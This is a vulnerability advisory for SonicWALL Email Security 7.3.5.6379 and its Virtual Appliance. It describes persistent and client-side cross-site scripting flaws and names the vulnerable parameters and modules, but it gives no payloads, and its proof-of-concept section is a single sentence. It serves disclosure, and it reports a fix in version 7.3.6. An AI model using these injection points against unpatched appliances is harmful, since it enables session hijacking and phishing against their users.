Introduction:  
=============  
While most businesses now have some type of anti-spam protection, many must deal with cumbersome   
management, frustrated users, inflexible solutions, and a higher-than-expected total cost of ownership.   
SonicWALL® Email Security can help. Elegantly simple to deploy, manage and use, award-winning SonicWALL   
Email Security solutions employ a variety of proven and patented technology designed to block spam and   
other threats effectively, easily and economically. With innovative protection techniques for both   
inbound and outbound email plus unique management tools, the Email Security platform delivers superior   
email protection today—while standing ready to stop the new attacks of tomorrow.  
  
SonicWALL Email Security can be flexibly deployed as a SonicWALL Email Security Appliance, as a software   
application on a third party Windows® server, or as a SonicWALL Email Security Virtual Appliance in a   
VMW® environment. The SonicWALL Email Security Virtual Appliance provides the same powerful protection as a   
traditional SonicWALL Email Security appliance, only in a virtual form, to optimize utilization,   
ease migration and reduce capital costs.

Details:  
========  
1.1  
Multiple persistent input validation vulnerabilities are detected in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.  
The vulnerability allows an remote attacker or local low privileged user account to inject/implement malicious persistent script   
code on application side of the email security appliance application. The vulnerabilities are located on the Compliance & Virus   
protection procedures module when processing to load unsanitized inputs as output listing of a configuration. Vulnerable values are   
floodMsgThreshold, zombieNoOfQuarantine, zombieNoOfMessageFromOneUser, safeModeNoOfQuarantine, safeModeNoOfMessageFromOneUser,  
zombieAllowEmailAddrs & floodMsgThresholdShadow. Successful exploitation of the vulnerability result in session hijacking,   
persistent phishing requests & stable persistent module context manipulation.  
  
  
Vulnerable Module(s):  
[+] Virenschutzverfahren  
[-] Ausgehend (Outgoing) - Listing & Exceptions  
  
[+] Compliance Module  
[-] Approval Ordner > Add new Approval Folder   
  
  
1.2  
Multiple client side cross site scripting vulnerabilities are detected in SonicWalls UTM Email Security v7.3.5.6379 & Virtual Appliance.  
The vulnerability allows an remote attacker to manipulate client side appliance requests with medium required user inter action.  
Successful exploitation results in sessio hijacking, account steal, client side phishing requests or manipulated context   
exection on client side requests. The vulnerabilities are located on the `from`- & `row` page listing values. Successful exploitation   
of the vulnerability result in client side session hijacking, non-persistent phishing requests & non-persistent module context manipulation.  
  
  
Vulnerable Module(s):  
[+] Listing Page (?from & ?row)   
  
  
Proof of Concept:  
=================  
1.1  
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged user accounts.

Solution:  
=========  
The Email Security 7.3.6 patch that addresses this set of issues has now been posted and is available to all of our Email Security customers   
from the download section of our customer portal (https://www.mysonicwall.com/Firmware/DownloadCenter.aspx).   
  
  
Risk:  
=====  
1.1  
The security risk of the persistent input validation vulnerabilities are estimated as high(-).  
  
1.2  
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).
